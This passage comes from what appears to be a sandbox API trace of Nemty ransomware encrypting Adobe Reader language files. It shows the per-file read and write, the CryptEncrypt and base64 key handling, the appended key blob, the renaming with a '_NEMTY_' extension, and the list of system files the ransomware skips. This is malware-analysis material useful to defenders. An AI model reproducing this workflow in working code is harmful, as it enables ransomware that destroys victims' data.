pszString="pQ3sdUiFPvE5mY07cvD231ypZZ4yF3FEAStFqvH8ckhRNa16ApyN/1pa18W1zkhc\r\nogj4/FRpdO/iykTvLAtcQ1VIczvfGGknqu+aKzO+Wo0tm3yGb7Xrbv81KYDsXiXT\r\noTIW0jdXj6ILve6300unVfAA/9w61sdZ3zj3IdDD4P3zRe5n7ldtQIWxhrtx5j+K\r\ncIGaWCNhK4OalbYeaQsehygzYtjcz1v/zDLPTAJlm6c+813/mOLdx0rrAvePRrHb\r\ndN2RAF+veLHX99M7M9TRwWrInRwrRlpQ+MK38uSOLUPdBxdr63SWD0wiOnSDXAHs\r\natEsI0TyQtA5miD34JUvvg==\r\n", pcchString=0x653e5dc) returned 1 [0216.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.152] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28118) returned 1 [0216.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6dd0) returned 0x6352c48 [0216.153] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.153] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6dd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6dd0, lpOverlapped=0x0) returned 1 [0216.156] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.156] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6dd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6dd0, lpOverlapped=0x0) returned 1 [0216.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.156] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dd6 [0216.156] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.156] CloseHandle (hObject=0x2e8) returned 1 [0216.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340320 [0216.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340418 [0216.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0216.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0216.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.157] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt._nemty_kgobjgd_")) returned 1 [0216.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0216.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340320 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340228 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.158] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nn_NO.txt", cAlternateFileName="DIF7B3~1.TXT")) returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2=".") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="..") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="...") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="windows") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="rsa") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="NTDETECT.COM") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="ntldr") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="MSDOS.SYS") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="IO.SYS") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="boot.ini") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="boot.ini") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="ntuser.dat") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="desktop.ini") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="CONFIG.SYS") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="RECYCLER") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="bootmgr") returned 1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="programdata") returned -1 [0216.158] lstrcmpiW (lpString1="DisplayLanguageNames.nn_NO.txt", lpString2="appdata") returned 1 [0216.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nn_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nn_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nn_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nn_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.159] Sleep (dwMilliseconds=0x5) [0216.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x347bb0b0, dwHighDateTime=0x1d561e8)) [0216.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x347bb0b0, dwHighDateTime=0x1d561e8)) [0216.167] GetLastError () returned 0x0 [0216.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.167] GetLastError () returned 0x0 [0216.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.167] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.167] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.167] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.167] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="e7cXkOzhaImbGRiFbLNEr3dFW37ceINmSiZd4V1faAsfvLd6+55vUzIlIi8ii4x7\r\n/D2W1dUE1B8+vnycPmWcGIJ7roggbwWDNLpbl2LXm2K+o5So/mn64RXKvHS8hpJ9\r\nwcNxal59uiGFWWsj/Yw5+z2+se5GPyopxSUk8rOPcWrnXWUHGSc69mT6AsSqNdGJ\r\nxoHldD3F6YPoJKWzjhe9KDWzJPCH3geuhrLMEVJdPsPCNTaxEX/0Xe41Eocm8apU\r\nQNm9rQGRunPbGufYu1Nt2P+E9XSo/0ZVTfqZXTZN2b1z7WsYJ6gHBhpYHwjpOWcu\r\nWpLacQRvna9O+4AiGf5bYg==\r\n", pcchString=0x653e5dc) returned 1 [0216.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.168] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28146) returned 1 [0216.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6df0) returned 0x6352c48 [0216.168] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.168] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6df0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6df0, lpOverlapped=0x0) returned 1 [0216.172] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.172] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6df0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6df0, lpOverlapped=0x0) returned 1 [0216.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.172] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6df2 [0216.172] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.172] CloseHandle (hObject=0x2e8) returned 1 [0216.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.172] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt._nemty_kgobjgd_")) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.173] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.pl.txt", cAlternateFileName="DI69EF~1.TXT")) returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2=".") returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="..") returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="...") returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="windows") returned -1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="rsa") returned -1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="NTDETECT.COM") returned -1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="ntldr") returned -1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="MSDOS.SYS") returned -1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="IO.SYS") returned -1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="boot.ini") returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="boot.ini") returned 1 [0216.173] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="ntuser.dat") returned -1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="desktop.ini") returned 1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="CONFIG.SYS") returned 1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="RECYCLER") returned -1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="bootmgr") returned 1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="programdata") returned -1 [0216.174] lstrcmpiW (lpString1="DisplayLanguageNames.pl.txt", lpString2="appdata") returned 1 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) 